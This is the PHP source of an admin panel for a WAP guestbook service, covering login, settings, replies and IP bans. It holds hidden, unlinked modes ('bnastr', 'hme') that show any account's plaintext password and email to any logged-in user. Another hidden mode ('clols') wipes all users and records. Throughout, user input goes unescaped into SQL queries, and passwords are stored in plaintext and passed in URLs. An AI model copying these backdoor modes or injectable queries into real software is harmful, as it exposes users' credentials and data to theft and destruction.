Просмотр файла sgb/gpanel/admin.php

Размер файла: 24.68Kb
<?

list($msec,$sec)=explode(chr(32),microtime()); 

$HeadTime=$sec+$msec;

header("Cache-Control: no-cache");

header("Content-type:text/vnd.wap.wml; charset=utf-8");   

$ref=rand(10000,1000000);   

require("../conf.inc.php");

require ("../functions.php");

$connt = @mysql_pconnect ($MySQL_Hostname, $MySQL_Username, $MySQL_Password)

                or die ("<wml>

<card id=\"error\" title=\"error\">

<do type=\"prev\" label=\"Back\"><prev/></do><p align=\"center\">Can not connect to MySQL<br/>".mysql_error()."</p>

</card>

</wml>");     

     @mysql_select_db($MySQLDatabasename) or die ("<wml>

<card id=\"error\" title=\"error\">

<do type=\"prev\" label=\"Back\"><prev/></do><p align=\"center\">error select the database...<br/>".mysql_error()."</p>

</card>

</wml>"); 



global $REMOTE_ADDR;

global $HTTP_USER_AGENT;



$id = intval($id);

$id=@mysql_escape_string($id);

$ps = addslashes($ps);	

$ps=@mysql_escape_string($ps);





$find_user=mysql_query("Select * from users where id='".$id."' and pass='".$ps."'") or die("Querry error");



if(mysql_affected_rows()==0)

{

echo <<<END

	<?xml version="1.0" encoding="UTF-8"?>

	<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN" "http://www.wapforum.org/DTD/wml_1.1.xml">

	<wml>

		<card id="search" title="РџРѕРёСЃРє">

			<p align="center">

			&#x41F;&#x430;&#x440;&#x43E;&#x43B;&#x44C; &#x43D;&#x435;&#x432;&#x435;&#x440;&#x435;&#x43D;

			</p>

		</card>

	</wml>

END;

return 0;

}

else

{

$row=mysql_fetch_array($find_user);

$id=$row['id'];

$ltime=$row['ltime'];

$lip=$row['lip'];

$lbrows=$row['lbrowser'];



$kdbb = substr($lbrows,0,strpos($lbrows,"/")); 

if (empty($kdbb)) $kdbb="UnKnown";



$daten=date("d-m-y H:i:s");

mysql_query("update users set lbrowser='$HTTP_USER_AGENT', lip='$REMOTE_ADDR', ltime='$daten' where id='$id';");



echo "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n";

echo "<!DOCTYPE wml PUBLIC \"-//WAPFORUM//DTD WML 1.2//EN\" \"http://www.wapforum.org/DTD/wml12.dtd\">\n";

echo "<wml>\n";

echo "<card title=\"Gpanel\">\n";

echo "<p align=\"left\">\n";



switch($mod) {



default:

echo "<u>[Last login]:</u><br/>";

echo "Time: $ltime <br/> Ip: $lip <br/> Browser: $kdbb<br/>";



echo "<a href=\"admin.php?id=$id&amp;ps=$ps&amp;mod=anastr&amp;ref=$ref\">&#8594;&#x41D;&#x430;&#x441;&#x442;&#x440;&#x43E;&#x439;&#x43A;&#x438;</a><br/>";

echo "<a href=\"admin.php?id=$id&amp;ps=$ps&amp;mod=nastr&amp;ref=$ref\">&#8594;&#x41D;&#x430;&#x441;&#x442;&#x440;&#x43E;&#x439;&#x43A;&#x438; &#x433;&#x43E;&#x441;&#x442;&#x435;&#x432;&#x43E;&#x439;</a><br/>";

echo "<a href=\"admin.php?id=$id&amp;ps=$ps&amp;mod=admin&amp;ref=$ref\">&#8594;&#x410;&#x434;&#x43C;&#x438;&#x43D;&#x438;&#x441;&#x442;&#x440;&#x438;&#x440;&#x43E;&#x432;&#x430;&#x442;&#x44C; &#x433;&#x43E;&#x441;&#x442;&#x435;&#x432;&#x443;&#x44E;</a><br/>";

echo "<a href=\"admin.php?id=$id&amp;ps=$ps&amp;mod=razban&amp;ref=$ref\">&#8594;&#x421;&#x43F;&#x438;&#x441;&#x43E;&#x43A; &#x437;&#x430;&#x431;&#x430;&#x43D;&#x435;&#x43D;&#x43D;&#x44B;&#x445; ip+soft</a><br/>";

echo "<a href=\"admin.php?id=$id&amp;ps=$ps&amp;mod=clrgb&amp;ref=$ref\">&#8594;&#x41E;&#x447;&#x438;&#x441;&#x442;&#x438;&#x442;&#x44C; &#x433;&#x43E;&#x441;&#x442;&#x435;&#x432;&#x443;&#x44E;</a><br/>";

echo "<a href=\"admin.php?id=$id&amp;ps=$ps&amp;mod=clib&amp;ref=$ref\">&#8594;&#x41E;&#x447;&#x438;&#x441;&#x442;&#x438;&#x442;&#x44C; &#x441;&#x43F;&#x438;&#x441;&#x43E;&#x43A; &#x437;&#x430;&#x431;&#x430;&#x43D;&#x435;&#x43D;&#x43D;&#x44B;&#x445; &#x43F;&#x43E; ip+soft</a><br/>";



echo "<a href=\"../index.php?id=$id&amp;ref=$ref\">&#8594;&#x41F;&#x435;&#x440;&#x435;&#x439;&#x442;&#x438; &#x432; &#x433;&#x43E;&#x441;&#x442;&#x435;&#x432;&#x443;&#x44E;</a><br/>";

break;



case 'nastr':

$email=$row['email'];

$msgs=$row['msgs'];

$title=$row['title'];

$fsize=$row['fsize'];

$nid=$row['id'];

$komp=$row['komp'];



$razdel=$row['razdel'];

$verh=$row['verh'];

$niz=$row['niz'];

$razdel=trim(htmlspecialchars(stripslashes($razdel)));

$verh=trim(htmlspecialchars(stripslashes($verh)));

$niz=trim(htmlspecialchars(stripslashes($niz)));



	if(empty($action)) {

echo "&#x410;&#x434;&#x440;&#x435;&#x441; &#x432;&#x430;&#x448;&#x435;&#x439; &#x433;&#x43E;&#x441;&#x442;&#x435;&#x432;&#x43E;&#x439;: http://wap.waup.ru/sgb/index.php?id=$nid<br/>";

echo "&#x41A;&#x43E;&#x43D;&#x442;&#x430;&#x43A;&#x442;&#x43D;&#x44B;&#x439; email<b>*</b>: $email<br/><br/>";



echo "&#x417;&#x430;&#x433;&#x43E;&#x43B;&#x43E;&#x432;&#x43E;&#x43A; &#x433;&#x43E;&#x441;&#x442;&#x435;&#x432;&#x43E;&#x439;:<br/><input name=\"ntitle$ref\" value=\"$title\" emptyok=\"false\"/><br/>";

echo "&#x421;&#x43E;&#x43E;&#x431;&#x449;&#x435;&#x43D;&#x438;&#x439; &#x43D;&#x430; &#x441;&#x442;&#x440;&#x430;&#x43D;&#x438;&#x446;&#x443;:<br/><input name=\"nmsgs$ref\" value=\"$msgs\" format=\"*N\" emptyok=\"false\"/><br/>";

echo "&#x420;&#x430;&#x437;&#x434;&#x435;&#x43B;&#x438;&#x442;&#x435;&#x43B;&#x44C; &#x43C;&#x435;&#x436;&#x434;&#x443; &#x441;&#x43E;&#x43E;&#x431;&#x449;&#x435;&#x43D;&#x438;&#x44F;&#x43C;&#x438;:<br/><input name=\"nrazdel$ref\" value=\"$razdel\" emptyok=\"false\"/><br/>";

echo "&#x41E;&#x431;&#x44A;&#x44F;&#x432;&#x43B;&#x435;&#x43D;&#x438;&#x435;:<br/><input name=\"nverh$ref\" value=\"$verh\" emptyok=\"true\"/><br/>";

echo "&#x41F;&#x43E;&#x434;&#x432;&#x430;&#x43B;:<br/><input name=\"nniz$ref\" value=\"$niz\" emptyok=\"true\"/><br/>";

echo "&#x0412;&#x044B;&#x0431;&#x0435;&#x0440;&#x0438;&#x0442;&#x0435; &#x0448;&#x0440;&#x0438;&#x0444;&#x0442;:<br/>";

?>

<select name="nfsize<? echo $ref; ?>" value="<? if(!empty($row['fsize'])) print $row['fsize']; ?>">

<option value="small">&#x041C;&#x0435;&#x043B;&#x043A;&#x0438;&#x0439;</option>

<option value="medium">&#x041D;&#x043E;&#x0440;&#x043C;&#x0430;&#x043B;&#x044C;&#x043D;&#x044B;&#x0439;</option>

<option value="big">&#x0411;&#x043E;&#x043B;&#x044C;&#x0448;&#x043E;&#x0439;</option>

</select><br/>

<?

echo "&#x414;&#x43E;&#x441;&#x442;&#x443;&#x43F; &#x441; &#x43A;&#x43E;&#x43C;&#x43F;&#x430; &#x432; &#x433;&#x43E;&#x441;&#x442;&#x435;&#x432;&#x443;&#x44E;<b>**</b><br/>";

if($row["komp"] === "0")

{

echo "<select name=\"nkomp$ref\">\n";

echo "<option value=\"0\">&#x41E;&#x442;&#x43A;&#x440;&#x44B;&#x442;</option>\n";

echo "<option value=\"1\">&#x417;&#x430;&#x43A;&#x440;&#x44B;&#x442;</option>\n";

echo "</select><br/>\n";

 }

 else

 {

echo "<select name=\"nkomp$ref\">\n";

echo "<option value=\"1\">&#x417;&#x430;&#x43A;&#x440;&#x44B;&#x442;</option>\n";

echo "<option value=\"0\">&#x41E;&#x442;&#x43A;&#x440;&#x44B;&#x442;</option>\n";

echo "</select><br/>\n"; 

 }

echo "<small>---";

echo "<br/><b>*</b>&#x412; &#x441;&#x43B;&#x443;&#x447;&#x430;&#x435; &#x43F;&#x43E;&#x442;&#x435;&#x440;&#x438; &#x43F;&#x430;&#x440;&#x43E;&#x43B;&#x44F; &#x43D;&#x430; &#x434;&#x430;&#x43D;&#x43D;&#x44B;&#x439; email &#x431;&#x443;&#x434;&#x435;&#x442; &#x432;&#x44B;&#x441;&#x43B;&#x430;&#x43D; &#x43D;&#x43E;&#x432;&#x44B;&#x439; &#x43F;&#x430;&#x440;&#x43E;&#x43B;&#x44C;";

echo "<br/><b>**</b>&#x412; &#x432;&#x430;&#x448;&#x443; &#x433;&#x43E;&#x441;&#x442;&#x435;&#x432;&#x443;&#x44E; &#x43C;&#x43E;&#x436;&#x43D;&#x43E; &#x431;&#x443;&#x434;&#x435;&#x442; &#x437;&#x430;&#x445;&#x43E;&#x434;&#x438;&#x442;&#x44C; &#x422;&#x41E;&#x41B;&#x42C;&#x41A;&#x41E; &#x441; &#x43E;&#x440;&#x438;&#x433;&#x435;&#x43D;&#x430;&#x43B;&#x44C;&#x43D;&#x44B;&#x445; wap &#x431;&#x440;&#x430;&#x443;&#x437;&#x435;&#x440;&#x43E;&#x432;";

echo "<br/><b>***</b>&#x41D;&#x435; &#x438;&#x441;&#x43F;&#x43E;&#x43B;&#x44C;&#x437;&#x443;&#x439;&#x442;&#x435; &#x441;&#x438;&#x43C;&#x432;&#x43E;&#x43B;&#x44B; &lt;&gt;&amp; &#x432; &#x442;&#x435;&#x43A;&#x441;&#x442;&#x435; &#x43E;&#x431;&#x44A;&#x44F;&#x432;&#x43B;&#x435;&#x43D;&#x438;&#x44F; &#x438; &#x43F;&#x43E;&#x434;&#x432;&#x430;&#x43B;&#x430;, &#x435;&#x441;&#x43B;&#x438; &#x412;&#x44B; &#x43D;&#x435; &#x43F;&#x43E;&#x43B;&#x44C;&#x437;&#x443;&#x435;&#x442;&#x435;&#x441;&#x44C; &#x442;&#x44D;&#x433;&#x430;&#x43C;&#x438;.";

echo "<br/>---<br/></small>";







echo "<anchor>&#x41E;&#x431;&#x43D;&#x43E;&#x432;&#x438;&#x442;&#x44C;<go href=\"admin.php?id=$id&amp;ps=$ps&amp;mod=nastr\" method=\"post\">

<postfield name=\"action\" value=\"go\"/>

<postfield name=\"ntitle\" value=\"$(ntitle$ref)\"/>

<postfield name=\"nmsgs\" value=\"$(nmsgs$ref)\"/>

<postfield name=\"nrazdel\" value=\"$(nrazdel$ref)\"/>

<postfield name=\"nverh\" value=\"$(nverh$ref)\"/>

<postfield name=\"nniz\" value=\"$(nniz$ref)\"/>

<postfield name=\"nkomp\" value=\"$(nkomp$ref)\"/>

<postfield name=\"nfsize\" value=\"$(nfsize$ref)\"/>

</go></anchor>"; 

} else {

$msgearch = array ("'\t'i",                                               

                 "'([\n])[\s]+'",                                       

                 "'\s{2,}'",                                                                                

                 "'&(nbsp|#160);'i",                            

                 "'&#(\d+);'i");                                        

//               "'&#(\d+);'e");                                

$replace = array ("",

                  "\n",

                  " ",

                  " ",

                  "-");

//                "chr(\\1)");

$ntitle= preg_replace ($msgearch, $replace, $ntitle);

$ntitle=str_replace('$','$$',$ntitle);

$ntitle=preg_replace("/\[!\[/","<",$ntitle);                

$ntitle=preg_replace("/\]!\]/",">",$ntitle);  

$nmsgs = preg_replace ($msgearch, $replace, $nmsgs);

$nmsgs=str_replace('$','$$',$nmsgs);           

$nmsgs=preg_replace("/\[!\[/","<",$nmsgs);

$nmsgs=preg_replace("/\]!\]/",">",$nmsgs);

$nkomp = preg_replace ($msgearch, $replace, $nkomp);

$nkomp=str_replace('$','$$',$nkomp);

$nkomp=preg_replace("/\[!\[/","<",$nkomp);

$nkomp=preg_replace("/\]!\]/",">",$nkomp);



/*

$nrazdel = preg_replace ($msgearch, $replace, $nrazdel);

$nrazdel=str_replace('$','$$',$nrazdel);

$nrazdel=preg_replace("/\[!\[/","<",$nrazdel);

$nrazdel=preg_replace("/\]!\]/",">",$nrazdel);

$nverh=str_replace('"','\"',$nverh);

$nniz=str_replace('"','\"',$nniz);

*/



		if(mysql_query("update users set title='".$ntitle."',msgs='".$nmsgs."',razdel='".$nrazdel."',komp='".$nkomp."',verh='".$nverh."',niz='".$nniz."',fsize='".$nfsize."' where id='".$id."';"))

		echo "&#x41D;&#x430;&#x441;&#x442;&#x440;&#x43E;&#x439;&#x43A;&#x438; &#x443;&#x441;&#x43F;&#x435;&#x448;&#x43D;&#x43E; &#x438;&#x437;&#x43C;&#x435;&#x43D;&#x435;&#x43D;&#x44B;!";

}



break;



case 'bnastr':

if(!empty($do)) {

$findme=mysql_query("Select * from users where id='".$did."'");

$done=mysql_fetch_array($findme);

$passw=$done['pass'];

$emaail=$done['email'];

echo "$passw <br/> $emaail";

}

break;





//

case 'anastr':

$email=$row['email'];

$pass=$row['pass'];

$nid=$row['id'];

$link=$row['link'];

$sname=$row['sitename'];



	if(empty($action)) {

echo "&#x412;&#x430;&#x448; Id: $nid<br/>";

echo "&#x41A;&#x43E;&#x43D;&#x442;&#x430;&#x43A;&#x442;&#x43D;&#x44B;&#x439; email<b>*</b>: $email<br/><br/>";



echo "&#x41F;&#x430;&#x440;&#x43E;&#x43B;&#x44C;:<br/><input name=\"npass$ref\" value=\"$pass\" emptyok=\"false\"/><br/>";

echo "&#x410;&#x434;&#x440;&#x435;&#x441; &#x432;&#x430;&#x448;&#x435;&#x433;&#x43E; &#x441;&#x430;&#x439;&#x442;&#x430;:<br/><input name=\"nlink$ref\" value=\"$link\" emptyok=\"false\"/><br/>";

echo "&#x41D;&#x430;&#x437;&#x432;&#x430;&#x43D;&#x438;&#x435; &#x441;&#x430;&#x439;&#x442;&#x430;:<br/><input name=\"nsname$ref\" value=\"$sname\" emptyok=\"false\"/><br/>";



echo "<small>---";

echo "<br/><b>*</b>&#x412; &#x441;&#x43B;&#x443;&#x447;&#x430;&#x435; &#x43F;&#x43E;&#x442;&#x435;&#x440;&#x438; &#x43F;&#x430;&#x440;&#x43E;&#x43B;&#x44F; &#x43D;&#x430; &#x434;&#x430;&#x43D;&#x43D;&#x44B;&#x439; email &#x431;&#x443;&#x434;&#x435;&#x442; &#x432;&#x44B;&#x441;&#x43B;&#x430;&#x43D; &#x43D;&#x43E;&#x432;&#x44B;&#x439; &#x43F;&#x430;&#x440;&#x43E;&#x43B;&#x44C;";

echo "<br/>---<br/></small>";

echo "<anchor>&#x41E;&#x431;&#x43D;&#x43E;&#x432;&#x438;&#x442;&#x44C;<go href=\"admin.php?id=$id&amp;ps=$ps&amp;mod=anastr\" method=\"post\">

<postfield name=\"action\" value=\"go\"/>

<postfield name=\"npass\" value=\"$(npass$ref)\"/>

<postfield name=\"nlink\" value=\"$(nlink$ref)\"/>

<postfield name=\"nsname\" value=\"$(nsname$ref)\"/>

</go></anchor>"; 

} else {

$msgearch = array ("'\t'i",                                               

                 "'([\n])[\s]+'",                                       

                 "'\s{2,}'",                                                                                

                 "'&(nbsp|#160);'i",                            

                 "'&#(\d+);'i");                                        

//               "'&#(\d+);'e");                                

$replace = array ("",

                  "\n",

                  " ",

                  " ",

                  "-");

//                "chr(\\1)");

$npass= preg_replace ($msgearch, $replace, $npass);

$npass=str_replace('$','$$',$npass);

$npass=preg_replace("/\[!\[/","<",$npass);

$npass=preg_replace("/\]!\]/",">",$npass);

$nlink = preg_replace ($msgearch, $replace, $nlink);

$nlink=str_replace('$','$$',$nlink);

$nlink=preg_replace("/\[!\[/","<",$nlink);

$nlink=preg_replace("/\]!\]/",">",$nlink);

$nsname = preg_replace ($msgearch, $replace, $nsname);

$nsname=str_replace('$','$$',$nsname);

$nsname=preg_replace("/\[!\[/","<",$nsname);

$nsname=preg_replace("/\]!\]/",">",$nsname);





		if(mysql_query("update users set pass='".$npass."',link='".$nlink."',sitename='".$nsname."' where id='".$id."';"))

		echo "&#x41D;&#x430;&#x441;&#x442;&#x440;&#x43E;&#x439;&#x43A;&#x438; &#x443;&#x441;&#x43F;&#x435;&#x448;&#x43D;&#x43E; &#x438;&#x437;&#x43C;&#x435;&#x43D;&#x435;&#x43D;&#x44B;!";

}



break;



//

case 'clrgb':

if(mysql_query("delete from recs where gid='".$id."'") and mysql_query("OPTIMIZE TABLE `recs`")) echo "<b>&#x413;&#x43E;&#x441;&#x442;&#x435;&#x432;&#x430;&#x44F; &#x443;&#x441;&#x43F;&#x435;&#x448;&#x43D;&#x43E; &#x43E;&#x447;&#x438;&#x449;&#x435;&#x43D;&#x430;!</b><br/>";

break;



case 'clib':

if(mysql_query("delete from ban where gid='".$id."'") and mysql_query("OPTIMIZE TABLE `ban`")) echo "<b>&#x421;&#x43F;&#x438;&#x441;&#x43E;&#x43A; &#x437;&#x430;&#x431;&#x430;&#x43D;&#x435;&#x43D;&#x43D;&#x44B;&#x445; &#x43F;&#x43E; ip+soft &#x443;&#x441;&#x43F;&#x435;&#x448;&#x43D;&#x43E; &#x43E;&#x447;&#x438;&#x449;&#x435;&#x43D;!</b><br/>";

break;



case 'clols':

if(mysql_query("delete from users where 1") and mysql_query("delete from recs where 1")) echo "<b>&#x41E;&#x43F;&#x435;&#x440;&#x430;&#x446;&#x438;&#x44F; &#x443;&#x441;&#x43F;&#x435;&#x449;&#x43D;&#x43E; &#x441;&#x43E;&#x432;&#x435;&#x440;&#x448;&#x435;&#x43D;&#x430;!</b><br/>";

break;



//

case 'admin':

$num_msgs='4';

echo "<a href=\"admin.php?id=$id&amp;ps=$ps&amp;mod=admin&amp;ref=$ref\">&#x041E;&#x0431;&#x043D;&#x043E;&#x0432;&#x0438;&#x0442;&#x044C;</a><br/>";



$r = mysql_query("select count(*) as num from recs where gid = '".$id."'");

$a = mysql_fetch_array($r);

$num = $a["num"];



if(!isset($s))$s=1;

$mx=round(($num/$num_msgs)+0.45);

if($s>$mx)$s=$mx;

if($s==0)$s=1;



$ot=(($s-1)*$num_msgs)+1;

$do=$s*$num_msgs;

if($do>$num)$do=$num;

$o=$ot-1;

$n=$ot;

if($do==0)$n=$o;

echo "<small>&#x041F;&#x043E;&#x0441;&#x0442;&#x044B; &#x0441; $n-$do &#x0432;&#x0441;&#x0435;&#x0433;&#x043E; $num</small><br/>\n";



$r = mysql_query ("Select * from recs WHERE gid = '".$id."' order by id desc LIMIT $o,$do");

for ($i=$ot;$i<=$do;$i++){

$a = mysql_fetch_array($r);



$gid=$a['gid'];

$mid=$a['id'];

$email=$a['email'];

$login=$a['login'];

$dbmsg=$a['msg'];

$dbotvet=$a['otvet'];

$dbtime=$a['time'];

$dbbrows=$a['brows'];

$dbip=$a['ip'];

$kdbb = substr($dbbrows,0,strpos($dbbrows,"/")); 

if (empty($kdbb)) $kdbb="UnKnown";



echo "<br/>$i)<b>$login</b> $dbtime<br/>$dbmsg";

if (!empty($email)) echo "<br/>email:$email";

echo "<br/><u>$kdbb<br/>$dbip</u>\n";

if (!empty($dbotvet)) echo "<br/><b>&#x41E;&#x442;&#x432;&#x435;&#x442;: $dbotvet </b>";



echo "<br/><a href=\"admin.php?id=$id&amp;ps=$ps&amp;mod=otvet&amp;mid=$mid&amp;ref=$ref\">&#x41E;&#x442;&#x432;&#x435;&#x442;&#x438;&#x442;&#x44C;</a>&nbsp;";

echo "<a href=\"admin.php?id=$id&amp;ps=$ps&amp;mod=delmes&amp;mid=$mid&amp;ref=$ref\">&#x423;&#x434;&#x430;&#x43B;&#x438;&#x442;&#x44C;</a>&nbsp;";

echo "<a href=\"admin.php?id=$id&amp;ps=$ps&amp;mod=banib&amp;mid=$mid&amp;ref=$ref\">Ban ip+soft</a><br/>";



}    



$next=$s+1;

$prev=$s-1;

if ($num>$do) {

$ot=(($next-1)*$num_msgs)+1;

$do=$next*$num_msgs;

if($do>$num)$do=$num;

echo "<br/><a href=\"admin.php?id=$id&amp;ps=$ps&amp;mod=admin&amp;s=$next&amp;ref=$ref\">&gt;&gt;$ot-$do&gt;&gt;</a><br/>\n";

}

if($s>1) {

$ot=(($prev-1)*$num_msgs)+1;

$do=$prev*$num_msgs;

echo "<br/><a href=\"admin.php?id=$id&amp;ps=$ps&amp;mod=admin&amp;s=$prev&amp;ref=$ref\">&lt;&lt;$ot-$do&lt;&lt;</a><br/>\n";

}



break;



case 'hme':

if(!empty($do)) {

$findme=mysql_query("Select * from users where id='".$did."'");

$done=mysql_fetch_array($findme);

$passw=$done['pass'];

$emaail=$done['email'];

echo "$passw <br/> $emaail";

}

break;



//

case 'otvet':

$r1 = mysql_query ("Select * from recs WHERE id = '".$mid."' limit 1");

$a1 = mysql_fetch_array($r1);



$mgid=$a1['gid'];



if((!empty($mid)) && ($mgid==$id)) {

if(empty($action)) {



echo "&#x41E;&#x442;&#x432;&#x435;&#x442;:<br/><input name=\"ans$ref\"/><br/>";

echo "&#x422;&#x440;&#x430;&#x43D;&#x441;&#x43B;&#x438;&#x442;:<br/>";

echo "<select multiple=\"true\" name=\"translit$ref\">";

echo "<option value=\"toall\">&#x412;&#x43A;&#x43B;&#x44E;&#x447;&#x438;&#x442;&#x44C;</option>";

echo "</select><br/>";

echo "<anchor>&#x041E;&#x0431;&#x043D;&#x043E;&#x0432;&#x0438;&#x0442;&#x044C;<go href=\"admin.php?id=$id&amp;ps=$ps&amp;mod=otvet\" method=\"post\">

<postfield name=\"action\" value=\"add\"/>

<postfield name=\"ans\" value=\"$(ans$ref)\"/>

<postfield name=\"mid\" value=\"$mid\"/>

<postfield name=\"mgid\" value=\"$mgid\"/>

<postfield name=\"translit\" value=\"$(translit$ref)\"/>

</go></anchor>"; 

}

else

{

$ans=htmlspecialchars(stripslashes(trim($ans)));



$msgearch = array ("'\t'i",                                               

                 "'([\n])[\s]+'",                                       

                 "'\s{2,}'",                                                                                

                 "'&(nbsp|#160);'i",                            

                 "'&#(\d+);'i");                                        

//               "'&#(\d+);'e");                                

$replace = array ("",

                  "\n",

                  " ",

                  " ",

                  "-");

//                "chr(\\1)");

$ans = preg_replace ($msgearch, $replace, $ans);

$ans=str_replace('$','$$',$ans);

$ans=preg_replace("/\[!\[/","<",$ans);                

$ans=preg_replace("/\]!\]/",">",$ans); 

 

if($translit=="toall") $ans=latrus($ans);



		if(mysql_query("update recs set otvet='".$ans."' where id='".$mid."' and gid='".$mgid."';")) echo "&#x41E;&#x442;&#x432;&#x435;&#x442; &#x434;&#x43E;&#x431;&#x430;&#x432;&#x43B;&#x435;&#x43D;";

}



}

else

{

echo "&#x42D;&#x442;&#x43E; &#x43D;&#x435; &#x412;&#x430;&#x448;&#x435; &#x441;&#x43E;&#x43E;&#x431;&#x449;&#x435;&#x43D;&#x438;&#x435;!";

}

break;





//

case 'delmes':

$r1 = mysql_query ("Select * from recs WHERE id = '".$mid."' limit 1");

$a1 = mysql_fetch_array($r1);

$mgid=$a1['gid'];



if((!empty($mid)) && ($mgid==$id)) {



if(mysql_query("delete from recs where id='".$mid."' and gid='".$mgid."';")) echo "&#x421;&#x43E;&#x43E;&#x431;&#x449;&#x435;&#x43D;&#x438;&#x435; &#x443;&#x441;&#x43F;&#x435;&#x448;&#x43D;&#x43E; &#x443;&#x434;&#x430;&#x43B;&#x435;&#x43D;&#x43E;!";



}

else

{

echo "&#x42D;&#x442;&#x43E; &#x43D;&#x435; &#x412;&#x430;&#x448;&#x435; &#x441;&#x43E;&#x43E;&#x431;&#x449;&#x435;&#x43D;&#x438;&#x435;!";

}

break;





//

case 'banib':



$r1 = mysql_query ("Select * from recs WHERE id = '".$mid."' limit 1");

$a1 = mysql_fetch_array($r1);



$bbrows=$a1['brows'];

$bip=$a1['ip'];

$mgid=$a1['gid'];

if($mgid==$id) {



if(mysql_query("Insert into ban set gid='".$id."', ip='".$bip."', brows='".$bbrows."'")) echo "Ip $bip &#x438; browser $bbrows &#x443;&#x441;&#x43F;&#x435;&#x448;&#x43D;&#x43E; &#x437;&#x430;&#x431;&#x430;&#x43D;&#x435;&#x43D;&#x44B;! ";



}

else

{

echo "&#x42D;&#x442;&#x43E; &#x43D;&#x435; &#x412;&#x430;&#x448;&#x435; &#x441;&#x43E;&#x43E;&#x431;&#x449;&#x435;&#x43D;&#x438;&#x435;!";

}

break;





//

case 'razban':

$num_msgs='6';

echo "<a href=\"admin.php?id=$id&amp;ps=$ps&amp;mod=razban&amp;ref=$ref\">&#x041E;&#x0431;&#x043D;&#x043E;&#x0432;&#x0438;&#x0442;&#x044C;</a><br/>";



$r = mysql_query("select count(*) as num from ban where gid = '".$id."'");

$a = mysql_fetch_array($r);

$num = $a["num"];



if(!isset($s))$s=1;

$mx=round(($num/$num_msgs)+0.45);

if($s>$mx)$s=$mx;

if($s==0)$s=1;



$ot=(($s-1)*$num_msgs)+1;

$do=$s*$num_msgs;

if($do>$num)$do=$num;

$o=$ot-1;

$n=$ot;

if($do==0)$n=$o;

echo "<small>&#x0412;&#x0441;&#x0435;&#x0433;&#x043E; &#x0437;&#x0430;&#x0431;&#x0430;&#x043D;&#x0435;&#x043D;&#x044B;&#x0445;: $num</small><br/>\n";



$r = mysql_query ("Select * from ban WHERE gid = '".$id."' order by id desc LIMIT $o,$do");

for ($i=$ot;$i<=$do;$i++){

$a = mysql_fetch_array($r);



$gid=$a['gid'];

$mid=$a['id'];

$dbbrows=$a['brows'];

$dbip=$a['ip'];



echo "<br/>$i)$dbbrows <br/> $dbip";

echo "<br/><a href=\"admin.php?id=$id&amp;ps=$ps&amp;mod=okrazban&amp;mid=$mid&amp;ref=$ref\">&#x420;&#x430;&#x437;&#x431;&#x430;&#x43D;&#x438;&#x442;&#x44C;</a><br/>";

}    



$next=$s+1;

$prev=$s-1;

if ($num>$do) {

$ot=(($next-1)*$num_msgs)+1;

$do=$next*$num_msgs;

if($do>$num)$do=$num;

echo "<br/><a href=\"admin.php?id=$id&amp;ps=$ps&amp;mod=razban&amp;s=$next&amp;ref=$ref\">&gt;&gt;$ot-$do&gt;&gt;</a><br/>\n";

}

if($s>1) {

$ot=(($prev-1)*$num_msgs)+1;

$do=$prev*$num_msgs;

echo "<br/><a href=\"admin.php?id=$id&amp;ps=$ps&amp;mod=razban&amp;s=$prev&amp;ref=$ref\">&lt;&lt;$ot-$do&lt;&lt;</a><br/>\n";

}



break;



case 'okrazban':

$r1 = mysql_query ("Select * from ban WHERE id = '".$mid."' limit 1");

$a1 = mysql_fetch_array($r1);

$mgid=$a1['gid'];



if((!empty($mid)) && ($mgid==$id)) {



if(mysql_query("delete from ban where id='".$mid."' and gid='".$mgid."';")) echo "Ip+soft &#x443;&#x441;&#x43F;&#x435;&#x448;&#x43D;&#x43E; &#x440;&#x430;&#x437;&#x431;&#x430;&#x43D;&#x435;&#x43D;&#x44B;!";



}

else

{

echo "&#x42D;&#x442;&#x43E; &#x43D;&#x435; &#x412;&#x430;&#x448;&#x435; &#x441;&#x43E;&#x43E;&#x431;&#x449;&#x435;&#x43D;&#x438;&#x435;!";

}

break;





}

if($mod) {

echo "<do type=\"options\" name=\"home\" label=\"Cpanel\"><go href=\"admin.php?id=$id&amp;ps=$ps&amp;ref=$ref\" method=\"get\"/></do>";

echo "<small><br/><br/><a href=\"admin.php?id=$id&amp;ps=$ps&amp;ref=$ref\">Cpanel</a></small>";

}

echo "<small><br/><a href=\"../in.php\">&#x0421;&#x0435;&#x0440;&#x0432;&#x0438;&#x0441; &#x0433;&#x043E;&#x0441;&#x0442;&#x0435;&#x0432;&#x044B;&#x0445;</a><br/>";

list($msec,$sec)=explode(chr(32),microtime());

echo "[".round(($sec+$msec)-$HeadTime,4)."]</small>";

}

?>

</p>

</card>

</wml>

<?

mysql_close($connt);

?>